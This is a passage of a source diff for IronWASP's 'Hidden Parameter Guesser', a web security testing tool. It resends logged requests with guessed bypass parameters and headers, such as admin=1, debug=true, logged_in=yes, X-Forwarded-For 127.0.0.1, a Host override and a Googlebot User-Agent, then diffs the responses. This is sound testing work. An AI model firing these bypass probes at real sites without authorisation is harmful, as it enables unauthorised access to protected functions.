this.tabPage15.Location = new System.Drawing.Point(4, 22); + this.tabPage15.Margin = new System.Windows.Forms.Padding(0); + this.tabPage15.Name = "tabPage15"; + this.tabPage15.Size = new System.Drawing.Size(860, 182); + this.tabPage15.TabIndex = 0; + this.tabPage15.Text = " Request "; + this.tabPage15.UseVisualStyleBackColor = true; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.White; + this.tabPage7.Controls.Add(this.LogDisplayTabs); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(868, 208); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = " Normal Request/Response "; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(868, 208); + this.LogDisplayTabs.TabIndex = 3; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.OriginalResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(860, 182); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.OriginalRequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(860, 182); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // SessView + // + this.SessView.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessView.Location = new System.Drawing.Point(0, 0); + this.SessView.Name = "SessView"; + this.SessView.Size = new System.Drawing.Size(574, 239); + this.SessView.TabIndex = 2; + // + // OriginalVsTestResponseDRV + // + this.OriginalVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestResponseDRV.Name = "OriginalVsTestResponseDRV"; + this.OriginalVsTestResponseDRV.Size = new System.Drawing.Size(860, 182); + this.OriginalVsTestResponseDRV.TabIndex = 1; + // + // OriginalVsTestRequestDRV + // + this.OriginalVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestRequestDRV.Name = "OriginalVsTestRequestDRV"; + this.OriginalVsTestRequestDRV.Size = new System.Drawing.Size(860, 182); + this.OriginalVsTestRequestDRV.TabIndex = 0; + // + // TestResponseView + // + this.TestResponseView.BackColor = System.Drawing.Color.White; + this.TestResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestResponseView.IncludeReflectionTab = true; + this.TestResponseView.Location = new System.Drawing.Point(0, 0); + this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); + this.TestResponseView.Name = "TestResponseView"; + this.TestResponseView.ReadOnly = true; + this.TestResponseView.Size = new System.Drawing.Size(860, 182); + this.TestResponseView.TabIndex = 0; + // + // TestRequestView + // + this.TestRequestView.BackColor = System.Drawing.Color.White; + this.TestRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestRequestView.Location = new System.Drawing.Point(0, 0); + this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); + this.TestRequestView.Name = "TestRequestView"; + this.TestRequestView.ReadOnly = true; + this.TestRequestView.Size = new System.Drawing.Size(176, 0); + this.TestRequestView.TabIndex = 0; + // + // OriginalResponseView + // + this.OriginalResponseView.BackColor = System.Drawing.Color.White; + this.OriginalResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalResponseView.IncludeReflectionTab = true; + this.OriginalResponseView.Location = new System.Drawing.Point(0, 0); + this.OriginalResponseView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalResponseView.Name = "OriginalResponseView"; + this.OriginalResponseView.ReadOnly = true; + this.OriginalResponseView.Size = new System.Drawing.Size(860, 182); + this.OriginalResponseView.TabIndex = 0; + // + // OriginalRequestView + // + this.OriginalRequestView.BackColor = System.Drawing.Color.White; + this.OriginalRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalRequestView.Location = new System.Drawing.Point(0, 0); + this.OriginalRequestView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalRequestView.Name = "OriginalRequestView"; + this.OriginalRequestView.ReadOnly = true; + this.OriginalRequestView.Size = new System.Drawing.Size(176, 0); + this.OriginalRequestView.TabIndex = 0; + // + // HiddenParameterGuesser + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "HiddenParameterGuesser"; + this.Text = "Hidden Parameter Guesser"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.HiddenParameterGuesser_FormClosing); + this.Load += new System.EventHandler(this.HiddenParameterGuesser_Load); + this.BaseTabs.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.ConfigurePanel.ResumeLayout(false); + this.ConfigurePanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ParametersGrid)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).EndInit(); + this.tabPage2.ResumeLayout(false); + this.CandidatesBaseSplit.Panel1.ResumeLayout(false); + this.CandidatesBaseSplit.Panel1.PerformLayout(); + this.CandidatesBaseSplit.Panel2.ResumeLayout(false); + this.CandidatesBaseSplit.ResumeLayout(false); + this.CandidatesBottomSplit.Panel1.ResumeLayout(false); + this.CandidatesBottomSplit.Panel2.ResumeLayout(false); + this.CandidatesBottomSplit.ResumeLayout(false); + this.CandidatesLogSplit.Panel1.ResumeLayout(false); + this.CandidatesLogSplit.Panel2.ResumeLayout(false); + this.CandidatesLogSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).EndInit(); + this.tabPage3.ResumeLayout(false); + this.ResultBaseSplit.Panel1.ResumeLayout(false); + this.ResultBaseSplit.Panel2.ResumeLayout(false); + this.ResultBaseSplit.ResumeLayout(false); + this.ResultsTopSplit.Panel1.ResumeLayout(false); + this.ResultsTopSplit.Panel1.PerformLayout(); + this.ResultsTopSplit.Panel2.ResumeLayout(false); + this.ResultsTopSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).EndInit(); + this.ResultsBottomTabs.ResumeLayout(false); + this.tabPage11.ResumeLayout(false); + this.tabControl5.ResumeLayout(false); + this.tabPage22.ResumeLayout(false); + this.tabPage19.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.tabControl3.ResumeLayout(false); + this.tabPage16.ResumeLayout(false); + this.tabPage15.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.ProgressBar ConfigureProgressBar; + private System.Windows.Forms.Panel ConfigurePanel; + internal System.Windows.Forms.DataGridView FileTypesScopeGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.Label label5; + internal System.Windows.Forms.DataGridView ParametersGrid; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column2; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column3; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column4; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn Column1; + private System.Windows.Forms.SplitContainer CandidatesBaseSplit; + private System.Windows.Forms.SplitContainer CandidatesBottomSplit; + private System.Windows.Forms.SplitContainer CandidatesLogSplit; + private SessionView SessView; + internal System.Windows.Forms.DataGridView CandidatesGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameSelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn MethodClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn URLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn FileClmn; + private System.Windows.Forms.DataGridViewCheckBoxColumn SSLClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParametersClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn CodeClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn LengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ClmnMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn SetCookieClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn NotesClmn; + private System.Windows.Forms.ProgressBar CandidatesProgressBar; + private System.Windows.Forms.Button TestCandidatesBtn; + private System.Windows.Forms.SplitContainer ResultBaseSplit; + internal System.Windows.Forms.TabControl ResultsBottomTabs; + private System.Windows.Forms.TabPage tabPage11; + internal System.Windows.Forms.TabControl tabControl5; + private System.Windows.Forms.TabPage tabPage22; + private DiffResultView OriginalVsTestResponseDRV; + private System.Windows.Forms.TabPage tabPage19; + private DiffResultView OriginalVsTestRequestDRV; + private System.Windows.Forms.TabPage tabPage4; + internal System.Windows.Forms.TabControl tabControl3; + private System.Windows.Forms.TabPage tabPage16; + internal ResponseView TestResponseView; + private System.Windows.Forms.TabPage tabPage15; + internal RequestView TestRequestView; + private System.Windows.Forms.TabPage tabPage7; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView OriginalResponseView; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView OriginalRequestView; + internal System.Windows.Forms.DataGridView ResultsGrid; + private System.Windows.Forms.ProgressBar ResultsProgressBar; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button FindCandidatesBtn; + public System.Windows.Forms.TreeView HostnamesScopeTree; + public System.Windows.Forms.TreeView FilterTree; + private System.Windows.Forms.ComboBox RecordingSelectBox; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.LinkLabel ShowDocLL; + private System.Windows.Forms.LinkLabel SelectParamsOptimallyLL; + private System.Windows.Forms.LinkLabel SelectParamsAllLL; + private System.Windows.Forms.LinkLabel SelectParamsNoneLL; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.SplitContainer ResultsTopSplit; + private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn HostNameClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestedUrlClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsTestClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParamNameClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParamSectionClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ParamValueClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalResponseBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestRequestBinaryStringClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestResponseBinaryStringClmn; + } +} \ No newline at end of file diff --git a/Iron/Hawas/HiddenParameterGuesser.cs b/Iron/Hawas/HiddenParameterGuesser.cs new file mode 100644 index 0000000..f72bd7a --- /dev/null +++ b/Iron/Hawas/HiddenParameterGuesser.cs @@ -0,0 +1,910 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP.Hawas +{ + public partial class HiddenParameterGuesser : Form + { + static HiddenParameterGuesser OpenHiddenParameterGuesser = null; + + Recording.Recording LoginRecording = null; + + Thread WorkerThread = null; + + bool InResultsStage = false; + + Dictionary> ParametersToAdd = new Dictionary>() { + {"Query", new List()}, + {"Body", new List()}, + {"Cookie", new List()}, + {"Headers", new List()}, + }; + + public HiddenParameterGuesser() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenHiddenParameterGuesser = new HiddenParameterGuesser(); + OpenHiddenParameterGuesser.Show(); + } + OpenHiddenParameterGuesser.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenHiddenParameterGuesser == null) + { + return false; + } + else if (OpenHiddenParameterGuesser.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + private void HiddenParameterGuesser_Load(object sender, EventArgs e) + { + WorkerThread = new Thread(GetInitialScopeValuesFromDB); + WorkerThread.Start(); + SetDefaultParametersGridValues(); + RecordingSelectBox.Items.Clear(); + foreach (string Name in Recording.Recording.GetNames()) + { + RecordingSelectBox.Items.Add(Name); + } + } + + void SetDefaultParametersGridValues() + { + /* + ParametersGrid.Rows.Add(new object[] { false, false, false, true, "Host", "127.0.0.1" }); + ParametersGrid.Rows.Add(new object[] { false, false, false, true, "X-Forwarded-For", "127.0.0.1" }); + + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "admin", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "admin", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "admin", "yes" }); + + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "dev", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "dev", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "dev", "yes" }); + + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "debug", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "debug", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "debug", "yes" }); + + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged_in", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged_in", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged_in", "yes" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged_in", "done" }); + + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged in", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged in", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged in", "yes" }); + ParametersGrid.Rows.Add(new object[] { true, true, true, true, "logged in", "done" }); + */ + //QBCH + ParametersGrid.Rows.Clear(); + ParametersGrid.Rows.Add(new object[] { false, false, false, true, "Host", "127.0.0.1" }); + ParametersGrid.Rows.Add(new object[] { false, false, false, true, "X-Forwarded-For", "127.0.0.1" }); + + ParametersGrid.Rows.Add(new object[] { false, false, false, true, "User-Agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" }); + + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "admin", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "admin", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "admin", "yes" }); + + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "dev", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "dev", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "dev", "yes" }); + + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "debug", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "debug", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "debug", "yes" }); + + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "logged_in", "1" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "logged_in", "true" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "logged_in", "yes" }); + ParametersGrid.Rows.Add(new object[] { true, true, false, false, "logged_in", "done" }); + } + + void GetInitialScopeValuesFromDB() + { + try + { + List Hosts = IronDB.GetUniqueHostsFromProxyLog(); + List Files = IronDB.GetUniqueFilesFromProxyLog(); + ShowConfigScopeValues(Hosts, Files); + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error reading host and file values from DB", Exp); } + } + + delegate void ShowConfigScopeValues_d(List Hosts, List Files); + void ShowConfigScopeValues(List Hosts, List Files) + { + if (ConfigurePanel.InvokeRequired) + { + ShowConfigScopeValues_d CALL_d = new ShowConfigScopeValues_d(ShowConfigScopeValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Hosts, Files }); + } + else + { + List> HostPartsList = new List>(); + + foreach (string Host in Hosts) + { + List Parts = new List(Host.Split(new char[]{'.'}, StringSplitOptions.RemoveEmptyEntries)); + Parts.Reverse(); + HostPartsList.Add(Parts); + } + + HostnamesScopeTree.Nodes.Clear(); + + foreach (List HostParts in HostPartsList) + { + HostParts.Reverse(); + string HostName = string.Join(".", HostParts.ToArray()); + HostParts.Reverse(); + + string BaseHost = ""; + if (HostParts.Count > 1) + { + BaseHost = string.Format("{0}.{1}", HostParts[1], HostParts[0]); + } + else + { + BaseHost = HostParts[0]; + } + + TreeNode BaseNode = null; + + if (HostnamesScopeTree.Nodes.ContainsKey(BaseHost)) + { + BaseNode = HostnamesScopeTree.Nodes[BaseHost]; + } + else + { + BaseNode = HostnamesScopeTree.Nodes.Add(BaseHost, " " + BaseHost); + } + + for (int i = 2; i < HostParts.Count; i++) + { + if (BaseNode.Nodes.ContainsKey(HostParts[i])) + { + BaseNode = BaseNode.Nodes[HostParts[i]]; + } + else + { + string NodeText = ""; + StringBuilder SB = new StringBuilder(" "); + for (int j = i; j >= 0; j--) + { + SB.Append(HostParts[j]); + SB.Append("."); + } + NodeText = SB.ToString().Trim('.'); + BaseNode = BaseNode.Nodes.Add(HostParts[i], NodeText); + } + } + + } + HostnamesScopeTree.ExpandAll(); + + FileTypesScopeGrid.Rows.Clear(); + foreach (string File in Files) + { + if (File.Trim().Length == 0) + { + FileTypesScopeGrid.Rows.Add(new object[] { true, " NO EXTENSION " }); + } + else + { + if (Crawler.ExtenionsToAvoid.Contains(File)) + { + FileTypesScopeGrid.Rows.Add(new object[] { false, File }); + } + else + { + FileTypesScopeGrid.Rows.Add(new object[] { true, File }); + } + } + } + ConfigureProgressBar.Visible = false; + ConfigurePanel.Visible = true; + } + } + + delegate void ShowMatchingRecordValues_d(List Records); + void ShowMatchingRecordValues(List Records) + { + if (ConfigurePanel.InvokeRequired) + { + ShowMatchingRecordValues_d CALL_d = new ShowMatchingRecordValues_d(ShowMatchingRecordValues); + ConfigurePanel.Invoke(CALL_d, new object[] { Records }); + } + else + { + FilterTree.Nodes.Clear(); + FilterTree.Nodes.Add("Methods").Checked = true; + FilterTree.Nodes.Add("File Extensions").Checked = true; + FilterTree.Nodes.Add("Urls").Checked = true; + + CandidatesGrid.Rows.Clear(); + foreach (LogRow LR in Records) + { + if (!FilterTree.Nodes[0].Nodes.ContainsKey(LR.Method)) + { + FilterTree.Nodes[0].Nodes.Add(LR.Method, LR.Method).Checked = true; + } + string File = LR.File; + if (File.Trim().Length == 0) + { + File = " - NO EXTENSION - "; + } + if (!FilterTree.Nodes[1].Nodes.ContainsKey(File)) + { + FilterTree.Nodes[1].Nodes.Add(File, File).Checked = true; + } + if (!FilterTree.Nodes[2].Nodes.ContainsKey(LR.Host)) + { + FilterTree.Nodes[2].Nodes.Add(LR.Host, LR.Host).Checked = true; + } + TreeNode HostNode = FilterTree.Nodes[2].Nodes[LR.Host]; + if (!HostNode.Nodes.ContainsKey("/")) + { + HostNode.Nodes.Add("/", "/").Checked = true; + } + Request Req = new Request(string.Format("http://{0}{1}", LR.Host, LR.Url)); + + for (int i = 0; i < Req.UrlPathParts.Count; i++) + { + string Path = Req.UrlPathParts[i]; + string FullPath = ""; + if (Req.UrlPathParts.Count > 0) + { + StringBuilder SB = new StringBuilder(); + for (int j = 0; j <= i; j++) + { + SB.Append("/"); + SB.Append(Req.UrlPathParts[j]); + } + FullPath = SB.ToString(); + } + else + { + FullPath = "/"; + } + if (!HostNode.Nodes.ContainsKey(FullPath)) + { + HostNode.Nodes.Add(FullPath, Path).Checked = true; + if (!HostNode.Checked) + { + HostNode.Checked = true; + } + } + HostNode = HostNode.Nodes[FullPath]; + } + } + + //Adding the rows after the tree population since every check on the tree node would trigger a filter application on the grids + foreach (LogRow LR in Records) + { + object[] Fields = LR.ToLogAnalyzerGridRowObjectArray(); + Fields[0] = true; + CandidatesGrid.Rows.Add(Fields); + } + FilterTree.ExpandAll(); + + CandidatesProgressBar.Visible = false; + CandidatesBottomSplit.Visible = true; + TestCandidatesBtn.Visible = true; + } + } + + delegate void AddTestResult_d(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest, string Section, string ParamName, string ParamValue); + void AddTestResult(string OriginalRequestBinaryString, string OriginalResonseBinaryString, string TestRequestBinaryString, string TestResponseBinaryString, int PercentOfDifference, Request OriginalRequest, Request TestRequest, string Section, string ParamName, string ParamValue) + { + if (ConfigurePanel.InvokeRequired) + { + AddTestResult_d CALL_d = new AddTestResult_d(AddTestResult); + ConfigurePanel.Invoke(CALL_d, new object[] { OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString, PercentOfDifference, OriginalRequest, TestRequest, Section, ParamName, ParamValue }); + } + else + { + /* + ID + HostName + URL + Test ID + % of diff + Ori Req BS + Ori Res BS + Test Req BS + Test Res BS + */ + int RowId = ResultsGrid.Rows.Add(new object[] { OriginalRequest.ID, OriginalRequest.Host, OriginalRequest.Url, TestRequest.ID, PercentOfDifference, ParamName, Section, ParamValue, OriginalRequestBinaryString, OriginalResonseBinaryString, TestRequestBinaryString, TestResponseBinaryString }); + if (PercentOfDifference <= 10) + { + //ResultsGrid.Rows[RowId].DefaultCellStyle.BackColor = Color.Red; + } + } + } + + delegate void ResultsEnd_d(); + void ResultsEnd() + { + if (ConfigurePanel.InvokeRequired) + { + ResultsEnd_d CALL_d = new ResultsEnd_d(ResultsEnd); + ConfigurePanel.Invoke(CALL_d, new object[] { }); + } + else + { + ResultsProgressBar.Visible = false; + } + } + + private void TestCandidatesBtn_Click(object sender, EventArgs e) + { + List SelectedLogIds = new List(); + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + SelectedLogIds.Add((int)Row.Cells[1].Value); + } + } + if (SelectedLogIds.Count == 0) + { + MessageBox.Show("No candidates were selected for testing, select atleast one candidate."); + return; + } + + ResultsGrid.Rows.Clear(); + ResultsProgressBar.Visible = true; + InResultsStage = true; + BaseTabs.SelectTab(2); + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(TestSelectedCandidates); + WorkerThread.Start(SelectedLogIds); + } + + void TestSelectedCandidates(object SelectedItemsObj) + { + try + { + List LogIds = (List)SelectedItemsObj; + foreach (int LogId in LogIds) + { + TestLog(LogId); + } + ResultsEnd(); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error testing candidates - {0}", Exp.Message)); + } + } + + void TestLog(int LogId) + { + Session Sess = Session.FromProxyLog(LogId); + if (Sess.Response != null) + { + foreach (string Section in ParametersToAdd.Keys) + { + foreach (string[] ParamVal in ParametersToAdd[Section]) + { + Request ReqToTest = Sess.Request.GetClone(); + switch (Section) + { + case("Query"): + ReqToTest.Query.Set(ParamVal[0], ParamVal[1]); + break; + case("Body"): + if (ReqToTest.IsNormal) + { + ReqToTest.Body.Set(ParamVal[0], ParamVal[1]); + } + break; + case ("Cookie"): + ReqToTest.Cookie.Set(ParamVal[0], ParamVal[1]); + break; + case("Headers"): + if (ParamVal[0].Equals("Host")) + { + ReqToTest.OverrideHostTo = ParamVal[1]; + } + else + { + ReqToTest.Headers.Set(ParamVal[0], ParamVal[1]); + } + break; + } + ReqToTest.SetSource("HiddenParameterGuesser"); + if (LoginRecording != null) + { + ReqToTest.SetCookie(LoginRecording.Cookies); + if (!LoginRecording.IsLoggedIn()) + { + LoginRecording.DoLogin(); + if (!LoginRecording.IsLoggedIn()) + { + throw new Exception("Unable to login user!"); + } + ReqToTest.SetCookie(LoginRecording.Cookies); + } + } + Response Res = ReqToTest.Send(); + + int DiffPercent = Tools.DiffLevel(Sess.Response.ToString(), Res.ToString()); + + AddTestResult(Sess.Request.ToBinaryString(), Sess.Response.ToBinaryString(), ReqToTest.ToBinaryString(), Res.ToBinaryString(), DiffPercent, Sess.Request, ReqToTest, Section, ParamVal[0], ParamVal[1]); + } + } + } + } + + List GetSelectedHosts(TreeNode Node) + { + List SelectedHosts = new List(); + if (Node.Checked) + { + if (!SelectedHosts.Contains(Node.Text.Trim())) + { + SelectedHosts.Add(Node.Text.Trim()); + } + } + foreach (TreeNode ChildNode in Node.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(ChildNode)); + } + return SelectedHosts; + } + + private void FindCandidatesBtn_Click(object sender, EventArgs e) + { + if (Recording.Recording.Has(RecordingSelectBox.Text)) + { + LoginRecording = Recording.Recording.Get(RecordingSelectBox.Text); + } + else if (RecordingSelectBox.Text.Trim().Length > 0) + { + MessageBox.Show("Invalid Login recording name, enter a valid name."); + return; + } + + foreach (DataGridViewRow Row in ParametersGrid.Rows) + { + if(Row.Cells[0].Value != null && Row.Cells[1].Value != null && Row.Cells[2].Value !=null && Row.Cells[3].Value != null && Row.Cells[4].Value != null && Row.Cells[5].Value != null) + { + string[] ParameterNameValue = new string[] { (string)Row.Cells[4].Value, (string)Row.Cells[5].Value }; + if ((bool)Row.Cells[0].Value) + { + ParametersToAdd["Query"].Add(ParameterNameValue); + } + if ((bool)Row.Cells[1].Value) + { + ParametersToAdd["Body"].Add(ParameterNameValue); + } + if ((bool)Row.Cells[2].Value) + { + ParametersToAdd["Cookie"].Add(ParameterNameValue); + } + if ((bool)Row.Cells[3].Value) + { + ParametersToAdd["Headers"].Add(ParameterNameValue); + } + } + } + + int ParamsToAddCount = 0; + foreach (string Section in ParametersToAdd.Keys) + { + ParamsToAddCount += ParametersToAdd[Section].Count; + } + if (ParamsToAddCount == 0) + { + MessageBox.Show("Atleast one host must be selected for testing"); + return; + } + + List SelectedHosts = new List(); + foreach (TreeNode Node in HostnamesScopeTree.Nodes) + { + SelectedHosts.AddRange(GetSelectedHosts(Node)); + } + + List SelectedFileTypes = new List(); + foreach (DataGridViewRow Row in FileTypesScopeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Cells[1].Value.ToString().Equals(" NO EXTENSION ")) + { + SelectedFileTypes.Add(""); + } + else + { + SelectedFileTypes.Add(Row.Cells[1].Value.ToString()); + } + } + } + if (SelectedHosts.Count == 0) + { + MessageBox.Show("Atleast one host must be selected for testing"); + return; + } + if (SelectedFileTypes.Count == 0) + { + MessageBox.Show("Atleast one file extension must be selected for testing"); + return; + } + + + CandidatesBottomSplit.Visible = false; + CandidatesProgressBar.Visible = true; + BaseTabs.SelectTab(1); + try + { + WorkerThread.Abort(); + } + catch { } + WorkerThread = new Thread(FindCandidatesFromDB); + WorkerThread.Start(new Dictionary>() { { "Hosts", SelectedHosts }, { "File", SelectedFileTypes } }); + } + + void FindCandidatesFromDB(object FilterDictObj) + { + try + { + Dictionary> FilterInfo = (Dictionary>)FilterDictObj; + + List MatchingRecords = IronDB.GetRecordsFromProxyLogMatchingFilters(FilterInfo["Hosts"], FilterInfo["File"], ""); + List RecordsToTest = new List(); + foreach (LogRow LR in MatchingRecords) + { + //Request Req = Request.FromProxyLog(LR.ID); + RecordsToTest.Add(LR); + } + + //Show these records on the page + ShowMatchingRecordValues(RecordsToTest); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error finding candidates - {0}", Exp.Message)); + } + } + + private void ResultsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedResultItem(); + } + + void ShowSelectedResultItem() + { + if (ResultsGrid.SelectedRows.Count > 0) + { + DataGridViewRow Row = ResultsGrid.SelectedRows[0]; + Request OriginalRequest = Request.FromBinaryString(Row.Cells["OriginalRequestBinaryStringClmn"].Value.ToString()); + Response OriginalResponse = Response.FromBinaryString(Row.Cells["OriginalResponseBinaryStringClmn"].Value.ToString()); + Request TestRequest = Request.FromBinaryString(Row.Cells["TestRequestBinaryStringClmn"].Value.ToString()); + Response TestResponse 